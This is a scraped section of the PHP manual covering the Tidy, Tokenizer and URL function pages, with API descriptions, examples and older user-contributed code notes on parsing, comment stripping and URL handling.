Return Values

Returns the number of errors.

Examples

Example #1 tidy_error_count() example

<?php
$html = '<p>test</i>
<bogustag>bogus</bogustag>';

$tidy = tidy_parse_string($html);

echo tidy_error_count($tidy) . "\n"; //1

echo $tidy->errorBuffer;
?>

The above example will output:

1
line 1 column 1 - Warning: missing <!DOCTYPE> declaration
line 1 column 8 - Warning: discarding unexpected </i>
line 2 column 1 - Error: <bogustag> is not recognized!
line 2 column 1 - Warning: discarding unexpected <bogustag>
line 2 column 16 - Warning: discarding unexpected </bogustag>
line 1 column 1 - Warning: inserting missing 'title' element

See Also

  • tidy_access_count() - Returns the Number of Tidy accessibility warnings encountered for specified document
  • tidy_warning_count() - Returns the Number of Tidy warnings encountered for specified document

User Contributed Notes

There are no user contributed notes for this page.
tidy_config_count
tidy_get_output
Tidy Functions


Return a string representing the parsed tidy markup

tidy_error_count
tidy_load_config
Tidy Functions
PHP Manual

tidy_get_output

(PHP 5, PECL tidy >= 0.5.2)

tidy_get_output — Return a string representing the parsed tidy markup

Description

string tidy_get_output ( tidy $object )

Gets a string with the repaired html.

Parameters

object

The Tidy object.

Return Values

Returns the parsed tidy markup.

Examples

Example #1 tidy_get_output() example

<?php

$html = '<p>paragraph</i>';
$tidy = tidy_parse_string($html);

$tidy->cleanRepair();

echo tidy_get_output($tidy);
?>

The above example will output:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title></title>
</head>
<body>
<p>paragraph</p>
</body>
</html>

User Contributed Notes

jon+php_net at phpsitesolutions dot com 28-Dec-2008 08:31
If you don't feel like going procedural to get the HTML output, you can simple use this alternative:

<?php

$html = <<<HTML

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><title>title</title></head>
<body>
<p>paragraph <br />
text</p>
</body></html>

HTML;

$tidy = new tidy;
$tidy->parseString($html);

$tidy->cleanRepair();
echo $tidy->html()->value;

?>

You can even more simply access the HTML output via this:

<?php

echo $tidy->value;

?>
tidy_error_count
tidy_load_config
Tidy Functions


Load an ASCII Tidy configuration file with the specified encoding

tidy_get_output
tidy_reset_config
Tidy Functions
PHP Manual

tidy_load_config

(PECL tidy >= 0.5.2)

tidy_load_config — Load an ASCII Tidy configuration file with the specified encoding

Description

void tidy_load_config ( string $filename , string $encoding )

Loads a Tidy configuration file, with the specified encoding.

Parameters

filename

encoding

Return Values

No value is returned.

Notes

Note: This function is only available in Tidy 1.0. It became obsolete in Tidy 2.0, and thus has been removed.

User Contributed Notes

There are no user contributed notes for this page.
tidy_get_output
tidy_reset_config
Tidy Functions


Restore Tidy configuration to default values

tidy_load_config
tidy_save_config
Tidy Functions
PHP Manual

tidy_reset_config

(PECL tidy >= 0.7.0)

tidy_reset_config — Restore Tidy configuration to default values

Description

bool tidy_reset_config ( void )

This function restores the Tidy configuration to the default values.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note: This function is only available in Tidy 1.0. It became obsolete in Tidy 2.0, and thus has been removed.

User Contributed Notes

There are no user contributed notes for this page.
tidy_load_config
tidy_save_config
Tidy Functions


Save current settings to named file

tidy_reset_config
tidy_set_encoding
Tidy Functions
PHP Manual

tidy_save_config

(PECL tidy >= 0.5.2)

tidy_save_config — Save current settings to named file

Description

bool tidy_save_config ( string $filename )

Saves current settings to the specified file. Only non-default values are written.

Parameters

filename

Path to the config file.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note: This function is only available in Tidy 1.0. It became obsolete in Tidy 2.0, and thus has been removed.

See Also

  • tidy_get_config() - Get current Tidy configuration
  • tidy_getopt() - Returns the value of the specified configuration option for the tidy document
  • tidy_reset_config() - Restore Tidy configuration to default values
  • tidy_setopt() - Updates the configuration settings for the specified tidy document

User Contributed Notes

There are no user contributed notes for this page.
tidy_reset_config
tidy_set_encoding
Tidy Functions


Set the input/output character encoding for parsing markup

tidy_save_config
tidy_setopt
Tidy Functions
PHP Manual

tidy_set_encoding

(PECL tidy >= 0.5.2)

tidy_set_encoding — Set the input/output character encoding for parsing markup

Description

bool tidy_set_encoding ( string $encoding )

Sets the encoding for input/output documents.

Parameters

encoding

The encoding parameter sets the encoding for input/output documents. The possible values for encoding are: ascii, latin0, latin1, raw, utf8, iso2022, mac, win1252, ibm858, utf16, utf16le, utf16be, big5, and shiftjis.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note: This function is only available in Tidy 1.0. It became obsolete in Tidy 2.0, and thus has been removed.

User Contributed Notes

There are no user contributed notes for this page.
tidy_save_config
tidy_setopt
Tidy Functions


Updates the configuration settings for the specified tidy document

tidy_set_encoding
tidy_warning_count
Tidy Functions
PHP Manual

tidy_setopt

(PECL tidy >= 0.5.2)

tidy_setopt — Updates the configuration settings for the specified tidy document

Description

bool tidy_setopt ( string $option , mixed $value )

tidy_setopt() updates the specified option with a new value.

Parameters

option

The tidy option name. A list of available configuration options may be found at: » http://tidy.sourceforge.net/docs/quickref.html.

value

The tidy option name.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 tidy_setopt() example

<?php
$html = '<p>test</i>';

$tidy = tidy_parse_string($html);

tidy_setopt('indent', FALSE);
?>

Notes

Note: This function is only available in Tidy 1.0. It became obsolete in Tidy 2.0, and thus has been removed.

See Also

  • tidy_getopt() - Returns the value of the specified configuration option for the tidy document
  • tidy_get_config() - Get current Tidy configuration
  • tidy_reset_config() - Restore Tidy configuration to default values
  • tidy_save_config() - Save current settings to named file

User Contributed Notes

Anonymous 07-Apr-2008 11:46
If you are using the object oriented style of Tidy options are set when calling tidy::parseString(...).

Read more at http://us3.php.net/manual/en/function.tidy-parse-string.php
tidy_set_encoding
tidy_warning_count
Tidy Functions


Returns the Number of Tidy warnings encountered for specified document

tidy_setopt
Tokenizer
Tidy Functions
PHP Manual

tidy_warning_count

(PHP 5, PECL tidy >= 0.5.2)

tidy_warning_count — Returns the Number of Tidy warnings encountered for specified document

Description

int tidy_warning_count ( tidy $object )

Returns the number of Tidy warnings encountered for the specified document.

Parameters

object

The Tidy object.

Return Values

Returns the number of warnings.

Examples

Example #1 tidy_warning_count() example

<?php
$html = '<p>test</i>
<bogustag>bogus</bogustag>';

$tidy = tidy_parse_string($html);

echo tidy_error_count($tidy) . "\n"; //1
echo tidy_warning_count($tidy) . "\n"; //5
?>

See Also

  • tidy_error_count() - Returns the Number of Tidy errors encountered for specified document
  • tidy_access_count() - Returns the Number of Tidy accessibility warnings encountered for specified document

User Contributed Notes

There are no user contributed notes for this page.
tidy_setopt
Tokenizer
Tidy Functions


Tokenizer

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Tokenizer Functions
    • token_get_all — Split given source into PHP tokens
    • token_name — Get the symbolic name of a given PHP token

User Contributed Notes

There are no user contributed notes for this page.
tidy_warning_count
Introduction
Other Basic Extensions


Introduction

The tokenizer functions provide an interface to the PHP tokenizer embedded in the Zend Engine. Using these functions you may write your own PHP source analyzing or modification tools without having to deal with the language specification at the lexical level.

See also the appendix about tokens.

User Contributed Notes

There are no user contributed notes for this page.
Tokenizer
Installing/Configuring
Tokenizer


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Tokenizer


Installation

Beginning with PHP 4.3.0 these functions are enabled by default. For older versions you have to configure and compile PHP with --enable-tokenizer . You can disable tokenizer support with --disable-tokenizer .

The Windows version of PHP has built-in support for this extension. You do not need to load any additional extensions in order to use these functions.

Note: Built-in support for tokenizer is available as of PHP 4.3.0.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

When the extension has either been compiled into PHP or dynamically loaded at runtime, the tokens listed in List of Parser Tokens are defined as constants.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Tokenizer


Examples

Here is a simple example PHP scripts using the tokenizer that will read in a PHP file, strip all comments from the source and print the pure code only.

Example #1 Strip comments with the tokenizer

<?php
/*
* T_ML_COMMENT does not exist in PHP 5.
* The following three lines define it in order to
* preserve backwards compatibility.
*
* The next two lines define the PHP 5 only T_DOC_COMMENT,
* which we will mask as T_ML_COMMENT for PHP 4.
*/
if (!defined('T_ML_COMMENT')) {
   define('T_ML_COMMENT', T_COMMENT);
} else {
   define('T_DOC_COMMENT', T_ML_COMMENT);
}

$source = file_get_contents('example.php');
$tokens = token_get_all($source);

foreach ($tokens as $token) {
   if (is_string($token)) {
       // simple 1-character token
       echo $token;
   } else {
       // token array
       list($id, $text) = $token;

       switch ($id) {
           case T_COMMENT:
           case T_ML_COMMENT: // we've defined this
           case T_DOC_COMMENT: // and this
               // no action on comments
               break;

           default:
               // anything else -> output "as is"
               echo $text;
               break;
       }
   }
}
?>

User Contributed Notes

support at image-host-script dot com 21-Jul-2009 12:15
Code snippet posted above is perfect enough, and I just wanted to put same code in a function that gets argument as code and returns the comments stripped code, so that it is easy for a beginner too, to copy and use this code.

<?
    if (!defined('T_ML_COMMENT')) {
       define('T_ML_COMMENT', T_COMMENT);
    } else {
       define('T_DOC_COMMENT', T_ML_COMMENT);
    }
    function strip_comments($source) {
        $tokens = token_get_all($source);
        $ret = "";
        foreach ($tokens as $token) {
           if (is_string($token)) {
              $ret.= $token;
           } else {
              list($id, $text) = $token;

              switch ($id) {
                 case T_COMMENT:
                 case T_ML_COMMENT: // we've defined this
                 case T_DOC_COMMENT: // and this
                    break;

                 default:
                    $ret.= $text;
                    break;
              }
           }
        }
        return trim(str_replace(array('<?','?>'),array('',''),$ret));
    }
?>

1.Now using this function 'strip_comments' for passing code contained in some variable:

<?
$code = "
<?php
    /* this is comment */
   // this is also a comment
   # me too, am also comment
   echo "And I am some code...";
?>";

   $code = strip_comments($code);

   echo htmlspecialchars($code);
?>

Will result output as
<?
   echo "And I am some code...";
?>

2.Loading from a php file:

<?
   $code = file_get_contents("some_code_file.php");
   $code = strip_comments($code);

   echo htmlspecialchars($code);
?>

3. Loading a php file, stripping comments and saving it back

<?
   $file = "some_code_file.php"
   $code = file_get_contents($file);
   $code = strip_comments($code);

   $f = fopen($file,"w");
   fwrite($f,$code);
   fclose($f);
?>

regards
Ali Imran
Predefined Constants
Tokenizer Functions
Tokenizer


Tokenizer Functions

Table of Contents

  • token_get_all — Split given source into PHP tokens
  • token_name — Get the symbolic name of a given PHP token

User Contributed Notes

lists at 5etdemi dot com 23-Jul-2005 01:33
The tokenizer functions are quite powerful. For example, you can retrieve all of the methods in a given class using an algorithm like:

for each token:
if token is T_FUNCTION then start buffer
if buffer is started then add the current string to the buffer
if token is ( stop buffer

And the great thing is that the class methods will have the right case, so it's a good way to get around the limitations with get_class_methods returning lowercase method names. Also since using a similar algorithm you can read the arguments of a function you can implement Reflections-like functionality into PHP4.

Finally you can use it as a simpler method of extracting Javadoc out of a class file to generate documentation. The util/MethodTable.php class in AMFPHP (http://www.amfphp.org) uses the tokenizer functions to create a method table with all of the arguments, a description, return type, etc. and from that method table it can generate ActionScript that matches the PHP, but it could also be fitted to generate JavaScript, documentation files, or basically anything you put your mind to. I can also see that this could be the base for a class -> WSDL file generator.
Examples
token_get_all
Tokenizer


Split given source into PHP tokens

Tokenizer Functions
token_name
Tokenizer Functions
PHP Manual

token_get_all

(PHP 4 >= 4.2.0, PHP 5)

token_get_all — Split given source into PHP tokens

Description

array token_get_all ( string $source )

token_get_all() parses the given source string into PHP language tokens using the Zend engine's lexical scanner.

For a list of parser tokens, see List of Parser Tokens, or use token_name() to translate a token value into its string representation.

Parameters

source

The PHP source to parse.

Return Values

An array of token identifiers. Each individual token identifier is either a single character (i.e.: ;, ., >, !, etc...), or a three element array containing the token index in element 0, the string content of the original token in element 1 and the line number in element 2.

Examples

Example #1 token_get_all() examples

<?php
$tokens = token_get_all('<?php echo; ?>'); /* => array(
                                                  array(T_OPEN_TAG, '<?php'),
                                                  array(T_ECHO, 'echo'),
                                                  ';',
                                                  array(T_CLOSE_TAG, '?>') ); */

/* Note in the following example that the string is parsed as T_INLINE_HTML
   rather than the otherwise expected T_COMMENT (T_ML_COMMENT in PHP <5).
   This is because no open/close tags were used in the "code" provided.
   This would be equivalent to putting a comment outside of <?php ?> tags in a normal file. */
$tokens = token_get_all('/* comment */'); // => array(array(T_INLINE_HTML, '/* comment */'));
?>

Changelog

Version | Description
5.2.2 | Line numbers are returned in element 2

User Contributed Notes

comments at htmlcompressor dot com 18-Jan-2011 02:16
Not documented but worth mentioning that this function will detect a T_OPEN_TAG or T_OPEN_TAG_WITH_ECHO based on your php.ini settings.

So in order to detect "<?", "<?=", "?>", "<%", "<%" and "%>" as a php open / close tags, check the folowing settings in your php.ini:

; Allow Short tags <? <?= ?>
short_open_tag = On

; Allow ASP-style tags <% <%= %>
asp_tags = On
gomodo at free dot fr 02-Aug-2009 10:08
Yes, some problems (On WAMP, PHP 5.3.0 ) with get_token_all()

1 : bug line numbers
 Since PHP 5.2.2 token_get_all()  should return Line numbers in element 2..
.. but for instance (5.3.0 on WAMP), it work perfectly only with PHP code (not HMTL miwed), but if you have some T_INLINE_HTML detected by token_get_all() ,  sometimes you find wrongs line numbers  (return next line)... :(

2: bug warning message can impact loops
Warning with php code uncompleted (ex : php code line by line) :
for example if a comment tag is not closed  token_get_all()  can block loops on this  warning :
Warning: Unterminated comment starting line

This problem seem not occur in CLI mod (php command line), but only in web mod.

Waiting more stability, used token_get_all()  only on PHP code (not HMTL miwed) :
First extract entirely PHP code (with open et close php tag),
Second use token_get_all()  on the pure PHP code.

3 : Why there not function to extract PHP code (to extract HTML, we have Tidy..)?

Waiting, I used a function :

The code at end this post :
http://www.developpez.net/forums/d786381/php/langage/
fonctions/analyser-fichier-php-token_get_all/

This function not support :
- Old notation :  "<?  ?>" and "<% %>"
- heredoc syntax
- nowdoc syntax (since PHP 5.3.0)
Dennis Robinson from basnetworks dot net 28-Jun-2009 09:24
I wanted to use the tokenizer functions to count source lines of code, including counting comments.  Attempting to do this with regular expressions does not work well because of situations where /* appears in a string, or other situations.  The token_get_all() function makes this task easy by detecting all the comments properly.  However, it does not tokenize newline characters.  I wrote the below set of functions to also tokenize newline characters as T_NEW_LINE.

<?php

define('T_NEW_LINE', -1);

function token_get_all_nl($source)
{
    $new_tokens = array();

    // Get the tokens
    $tokens = token_get_all($source);

    // Split newlines into their own tokens
    foreach ($tokens as $token)
    {
        $token_name = is_array($token) ? $token[0] : null;
        $token_data = is_array($token) ? $token[1] : $token;

        // Do not split encapsed strings or multiline comments
        if ($token_name == T_CONSTANT_ENCAPSED_STRING || substr($token_data, 0, 2) == '/*')
        {
            $new_tokens[] = array($token_name, $token_data);
            continue;
        }

        // Split the data up by newlines
        $split_data = preg_split('#(\r\n|\n)#', $token_data, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY);

        foreach ($split_data as $data)
        {
            if ($data == "\r\n" || $data == "\n")
            {
                // This is a new line token
                $new_tokens[] = array(T_NEW_LINE, $data);
            }
            else
            {
                // Add the token under the original token name
                $new_tokens[] = is_array($token) ? array($token_name, $data) : $data;
            }
        }
    }

    return $new_tokens;
}

function token_name_nl($token)
{
    if ($token === T_NEW_LINE)
    {
        return 'T_NEW_LINE';
    }

    return token_name($token);
}

?>

Example usage:

<?php

$tokens = token_get_all_nl(file_get_contents('somecode.php'));

foreach ($tokens as $token)
{
    if (is_array($token))
    {
        echo (token_name_nl($token[0]) . ': "' . $token[1] . '"<br />');
    }
    else
    {
        echo ('"' . $token . '"<br />');
    }
}

?>

I'm sure you can figure out how to count the lines of code, and lines of comments with these functions.  This was a huge improvement on my previous attempt at counting lines of code with regular expressions.  I hope this helps someone, as many of the user contributed examples on this website have helped me in the past.
strrev xc.noxeh@ellij 22-Dec-2008 05:45
If you run token_get_all() on a string which starts with #!... (eg, #!/usr/local/bin/php) this will be lost.
If you rewrite the file using token_get_all() and writing back all tokens afterwards, the #!... will be gone.
This causes commandline executable scripts (interpreted by PHP) to be unexecutable.
kevin at metalaxe dot com 26-Apr-2008 02:58
Rogier, thanks for that fix. This bug still exists in php 5.2.5. I did notice though that it is possible for a notice to pop up from your code. Changing this line:

            $temp[] = $tokens[0][2];

To read this:

            $temp[] = isset($tokens[0][2])?$tokens[0][2]:'unknown';

fixes this notice.
rogier 10-Jan-2008 11:01
Complementary note to code below:
Note that only the FIRST 2 (or 3, if needed) array elements will be updated.

Since I only encountered incorrect results on the FIRST occurence of T_OPEN_TAG, I wrote this quick fix.
Any other following T_OPEN_TAG are, on my testing system (Apache 2.0.52, PHP 5.0.3), parsed correctly.

So, This function assumes only a possibly incorrect first T_OPEN_TAG.
Also, this function assumes the very first element (and ONLY the first element) of the token array to be the possibly incorrect token.
This effectively translates to the first character of the tokenized source to be the start of a php script opening tag '<', followed by either 'php' OR '%' (ASP_style)
rogier at dsone dot nl 10-Jan-2008 08:37
On several PHP versions (pre 5.1), if token_get_all is used, the result will NOT always return the correct result.
This bug will only show (as far as I know) when PHP is loaded as a module. In the CLI the bug seems non-existent.
Related here are bugs 29761 and 34782.
To work around this, here's a fixing function:

<?php
//fixes related bugs: 29761, 34782 => token_get_all returns <?php NOT as T_OPEN_TAG
function token_fix( &$tokens ) {
    if (!is_array($tokens) || (count($tokens)<2)) {
        return;
    }
   //return of no fixing needed
    if (is_array($tokens[0]) && (($tokens[0][0]==T_OPEN_TAG) || ($tokens[0][0]==T_OPEN_TAG_WITH_ECHO)) ) {
        return;
    }
    //continue
    $p1 = (is_array($tokens[0])?$tokens[0][1]:$tokens[0]);
    $p2 = (is_array($tokens[1])?$tokens[1][1]:$tokens[1]);
    $p3 = '';

    if (($p1.$p2 == '<?') || ($p1.$p2 == '<%')) {
        $type = ($p2=='?')?T_OPEN_TAG:T_OPEN_TAG_WITH_ECHO;
        $del = 2;
        //update token type for 3rd part?
        if (count($tokens)>2) {
            $p3 = is_array($tokens[2])?$tokens[2][1]:$tokens[2];
            $del = (($p3=='php') || ($p3=='='))?3:2;
            $type = ($p3=='=')?T_OPEN_TAG_WITH_ECHO:$type;
        }
        //rebuild erroneous token
        $temp = array($type, $p1.$p2.$p3);
        if (version_compare(phpversion(), '5.2.2', '<' )===false) {
            $temp[] = $token[0][2];
        }
        //rebuild
        $tokens[1] = '';
        if ($del==3) $tokens[2]='';
        $tokens[0] = $temp;
    }
    return;
}

?>
nicolas dot grekas+php at gmail dot com 03-Dec-2007 01:10
Well, there is a way to parse for errors. See
http://www.php.net/manual/function.php-check-syntax.php#77318
smp_info at yahoo dot com 30-Nov-2007 06:50
As far as I am aware, there is no way to tell if the source code passed is free of parse errors.

You might come across such a situation when you're using PHP to analyze PHP source code.

In a case like this.. You'll get a warning similar to (but varying) Warning: Unexpected character in input: ''' (ASCII=39) state=1

If it doesn't matter to you that the source is free of parse errors, use @token_get_all($source) to suppress the error.
phpcomments at majiclab dot com 01-Aug-2005 10:08
Regarding bertrand at toggg dot com's comment:  there is another case of the { } curly braces being used in PHP, but the token_get_all() function treats it just like a code block: string index.  Example:

<?php
$text = "Hello";
if ($text{ 0 } == 'H') {
    echo "This example uses { for both a PHP block and a string index.";
}
?>

Just in case some people were wondering.  Since PHP treats them as the same token, it makes some things a little more interesting for parsing.  You can't just assume that { ... } is a code block, it could just be a number referring to an index of a string.
bertrand at toggg dot com 07-Mar-2005 10:41
If you want to retrieve the PHP blocks then you will count up the opening curly braces '{' and down the closing ones '}' (counter zero means block finished)
CAUTION: the opening curly braces token can take 3 values:
1) '{' for all PHP code blocks,
2) T_CURLY_OPEN for "protected" variables within strings as "{$var}"
3) T_DOLLAR_OPEN_CURLY_BRACES for extended format "${var}"

On the other hand, closing token is allways '}' !

So counting up must take place on the 3 tokens:
'{' , T_CURLY_OPEN and T_DOLLAR_OPEN_CURLY_BRACES

Have fun with PHP tokenizer !
bishop 07-Dec-2004 10:58
You may want to know the line and column number at which a token begins (or ends). Since this tokenizer interface doesn't provide that information, you have to track it manually, like below:

<?php
function update_line_and_column_positions($c, &$line, &$col)
{
    // update line count
    $numNewLines = substr_count($c, "\n");
    if (1 <= $numNewLines) {
        // have new lines, add them in
        $line += $numNewLines;
        $col  =  1;

        // skip to right past the last new line, as it won't affect the column position
        $c = substr($c, strrpos($c, "\n") + 1);
        if ($c === false) {
            $c = '';
        }
    }

    // update column count
    $col += strlen($c);
}

?>

Now use it, something like:

<?php

$line = 1;
$col  = 1;
foreach ($tokens as $token) {
    if (is_array($token)) {
        list ($token, $text) = $token;
    } else if (is_string($token)) {
        $text = $token;
    }

    update_line_and_column_positions($text, $line, $col);
}

?>

Note this assumes that your desired coordinate system is 1-based (eg (1,1) is the upper left). Zero-based is left as an exercise for the reader.
Leon Atkinson 06-Dec-2002 03:17
This function parses PHP code.  Here's an example of it's use.
<?
    $code = '<?$a = 3;?>';

    foreach(token_get_all($code) as $c)
    {
        if(is_array($c))
        {
            print(token_name($c[0]) . ": '" . htmlentities($c[1]) . "'\n");
        }
        else
        {
            print("$c\n");
        }
    }
?>
Tokenizer Functions
token_name
Tokenizer Functions


Get the symbolic name of a given PHP token

token_get_all
URLs
Tokenizer Functions
PHP Manual

token_name

(PHP 4 >= 4.2.0, PHP 5)

token_name — Get the symbolic name of a given PHP token

Description

string token_name ( int $token )

token_name() gets the symbolic name for a PHP token value.

Parameters

token

The token value.

Return Values

The symbolic name of the given token.

Examples

Example #1 token_name() example

<?php
// 260 is the token value for the T_EVAL token
echo token_name(260);        // -> "T_EVAL"

// a token constant maps to its own name
echo token_name(T_FUNCTION); // -> "T_FUNCTION"
?>

See Also

  • List of Parser Tokens

User Contributed Notes

There are no user contributed notes for this page.
token_get_all
URLs
Tokenizer Functions


URLs

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • URL Functions
    • base64_decode — Decodes data encoded with MIME base64
    • base64_encode — Encodes data with MIME base64
    • get_headers — Fetches all the headers sent by the server in response to a HTTP request
    • get_meta_tags — Extracts all meta tag content attributes from a file and returns an array
    • http_build_query — Generate URL-encoded query string
    • parse_url — Parse a URL and return its components
    • rawurldecode — Decode URL-encoded strings
    • rawurlencode — URL-encode according to RFC 3986
    • urldecode — Decodes URL-encoded string
    • urlencode — URL-encodes string

User Contributed Notes

There are no user contributed notes for this page.
token_name
Introduction
Other Basic Extensions


Introduction

Dealing with URL strings: encoding, decoding and parsing.

User Contributed Notes

There are no user contributed notes for this page.
URLs
Installing/Configuring
URLs


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
URLs


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

The following constants are meant to be used with parse_url() and are available since PHP 5.1.2.

PHP_URL_SCHEME (integer)
PHP_URL_HOST (integer)
PHP_URL_PORT (integer)
PHP_URL_USER (integer)
PHP_URL_PASS (integer)
PHP_URL_PATH (integer)
PHP_URL_QUERY (integer)
PHP_URL_FRAGMENT (integer)
PHP_QUERY_RFC1738 (integer)
PHP_QUERY_RFC3986 (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
URL Functions
URLs


URL Functions

Table of Contents

  • base64_decode — Decodes data encoded with MIME base64
  • base64_encode — Encodes data with MIME base64
  • get_headers — Fetches all the headers sent by the server in response to a HTTP request
  • get_meta_tags — Extracts all meta tag content attributes from a file and returns an array
  • http_build_query — Generate URL-encoded query string
  • parse_url — Parse a URL and return its components
  • rawurldecode — Decode URL-encoded strings
  • rawurlencode — URL-encode according to RFC 3986
  • urldecode — Decodes URL-encoded string
  • urlencode — URL-encodes string

User Contributed Notes

Pawel dot Lesniak at ifmpan dot poznan dot pl 17-Aug-2006 03:04
How do I go and encode an URL, but EVERYTHING is encoded. As such:
http://www.domain.com/
...becomes...
%68%74%74%70%3a%2f%2f%77%77%77%2e%64%6f%6d%61%69%6e%2e%63%6f%6d

This one does what you want
<?php

$text = 'http://www.domain.com/';
$output = '';
$tab_text = str_split($text);

foreach ($tab_text as $id=>$char){
  $hex = dechex(ord($char));
  $output .= '%' . $hex;
}

echo $output;

?>
martin at limitless dot co dot uk 24-Jul-2006 08:31
Each %xx represents a letter. You would need to remove %68%74%74%70%3a%2f%2f (http://) from the beginning.
regix11 [at] gmail [dot] com 05-Jun-2006 06:14
How do I go and encode an URL, but EVERYTHING is encoded. As such:

http://www.domain.com/

...becomes...

%68%74%74%70%3a%2f%2f%77%77%77%2e%64%6f%6d%61%69%6e%2e%63%6f%6d

(note: I hand-url-encoded it)
Here is the URL-Encoded url, clickable (the http:// part shows up twice)
http://%68%74%74%70%3a%2f%2f%77%77%77%2e%64%6f%6d%61%69%6e%2e%63%6f%6d
dbz at soli dot cl 21-Aug-2005 02:21
You should have named your form field "organization[]" (notice the square brackets), instead of just organization. When using square brackets, the get/post request is interpreted by PHP as an array.

If you follow this example you'll understand why it works the way it does:

<?php

$organization = 92;
$organization = 93;

// The second asignment overwrites the value of the first
// asignment. $organization === 93.

$organization[] = 92;
$organization[] = 93;

// The above is interpreted as appending data to an array
// named "$organization". $organization is an array
// consisting of the values 92 AND 93.

?>

When submitting form fields with appended square brackets to their name, PHP interprets the submission using the same logic exposed above. Thus PHP automatically creates an array with all selected options if "$organization[]" is used as the field name.

Regards,
   Daniel Berstein.
dday at cnscorp dot com 24-Jun-2005 10:22
When using a multiple select on a form, I ran into a little issue of only receiving the last value form the select box.
I had a select box named organization_id with two values (92 and 93).
To get the values of both, I had to use the following:

    $temp_array = split("&", $_SERVER['QUERY_STRING']);
    foreach($temp_array as $key=>$value){
        if(substr($value, 0, 15) == "organization_id"){
            $_GET['organizations'][] = substr($value, 15, strlen($value));
        }
    }

this results in a $_GET array like this :

(
    [page] => idea_submission
    [organization_id] => 93
    [organizations] => Array
        (
            [0] => =92
            [1] => =93
        )

)
job oberio 14-Dec-2004 01:33
just want to share some tip:

my visitors usually type http://pinoylinux.com
in their browser (note: no www)
and i want them to automatically change the url
to use www.
(from http://pinoylinux.com to http://www.pinoylinux.com)

The solution is:

you can add the ff code to your existing index.php script

<?php
if  ($HTTP_HOST=="pinoylinux.com")
{
header("Location: http://www.pinoylinux.com"); die();
}

~~~ your existing codes here ~~~

?>

hope that helps
php at malaker dot com 17-Dec-2003 03:25
Following method do not show the URL in user browser (as the author claimed) if the code resides in the source page of  FRAME or IFRAME (say SRC="sourcepage.php") . In that case the URL of the SOURCE page is displayed.

$url = sprintf("%s%s%s","http://",$HTTP_HOST,$REQUEST_URI);
echo "$url";

Expected result: http://localhost/urltest/framedpage.php

Actual result: http://localhost/urltest/sourcepage.php
tappertzhofen at fdos dot de 23-Nov-2003 11:35
If you got a server which got only one subdomain and you can't add a subdomain you can easily create your own "subdomain script". You may create a file "index.php" or what ever your defaul filename is in the webpage root directory and add the following PHP Code:

<?php

// Get possible subdomain

$full_url = sprintf($HTTP_HOST);
$subdomain = "";

for($i = 0;$i<=strlen($full_url);$i++)
{

  $dummy = substr($full_url,$i,1);

  if($dummy == ".")
  {
    break;
  }

  $subdomain = $subdomain.$dummy;

}

// Get Subdomain List

if ($subdomain <> "www")
{

  switch($subdomain)
  {
    case "download":
      $real_url = "http://www.mydomain.com/download/index.php";
      break;
    case "contact":
      $real_url = "http://www.mydomain.com/contact.php";
      break;

  }

  header( "location: $real_url\r\n" );

?>
chemanfit at hotmail 06-Jun-2003 05:24
just a side note to the above you will need to add the ?

example

$page=$PHP_SELF."?".$_SERVER['QUERY_STRING'];
ignacio paz posse 12-Mar-2003 05:31
Note on the above: the point is that is that using $_SERVER['QUERY_STRING'] along with $PHP_SELF we will have passed whatever variables are already appended (as they might be needed for database queries)

example, given the following url: http://www.your_domain/somepage.php?variable=1;

using $PHP_SELF" we are passing
[scheme]:(http://), [host]: www.your_domain/  and [path]: somepage.php

adding $_SERVER['QUERY_STRING'], we pass that, plus [query]: variable=1
ignacio 12-Mar-2003 10:16
/*
May be this is obvious but helps me since I found it:
If I want to append a variable to the url and pass it to the same page. ( in this example I'm using action=email to include an email form on the user click) i do:
*/

// ...

<a href="<? echo $PHP_SELF,'?',$_SERVER['QUERY_STRING'],'&action=email' ?>">email to us</a>

// ...

/* somewhere in the the page (in my case at the bottom) I have: */

<? if ($action=='email') include('emailForm.htm'); ?>
jrg45 at pantheon dot yale dot edu 10-Jul-2002 02:14
Note that $_SERVER["HTTP_REFERER"] may not include GET data that was included in the referring address, depending on the browser.  So if you rely on GET variables to generate a page, it's not a good idea to use HTTP_REFERER to smoothly "bounce" someone back to the page he/she came from.
postmaster at asmatic dot ch 29-Apr-2002 09:15
If you want to get the filename requested on a global error page like a 404, just use this code...

// get the full var...
$page = $HTTP_SERVER_VARS["QUERY_STRING"];

// part[1] is the url...
// part[0] is the http code (404, etc).
if(strpos($page,";")>0) {
   $pageParts = explode(";",$page);
   $page = $pageParts[1];
}

// get only the filename...
$page = basename($page);
stephane-wantiez at tiscalinet dot be 07-Feb-2002 06:29
if you do this, it will be easier :
echo "http://{$HTTP_HOST}{$REQUEST_URI}";
verdy_p at wanadoo dot fr 26-May-2001 10:47
Note also that the URL shown in $HTTP_REFERER is not always the URL of the web page where the user clicked to invoke the PHP script.
This may instead be a document of your own web site, which contains an HTML element whose one attribute references the script. Note also that the current page fragment (#anchor) may be transmitted or not with the URL, depending on the browser.
Examples:
<FRAME src="your-page-script.php"8>
<IMAGE src="your-image-script.php">

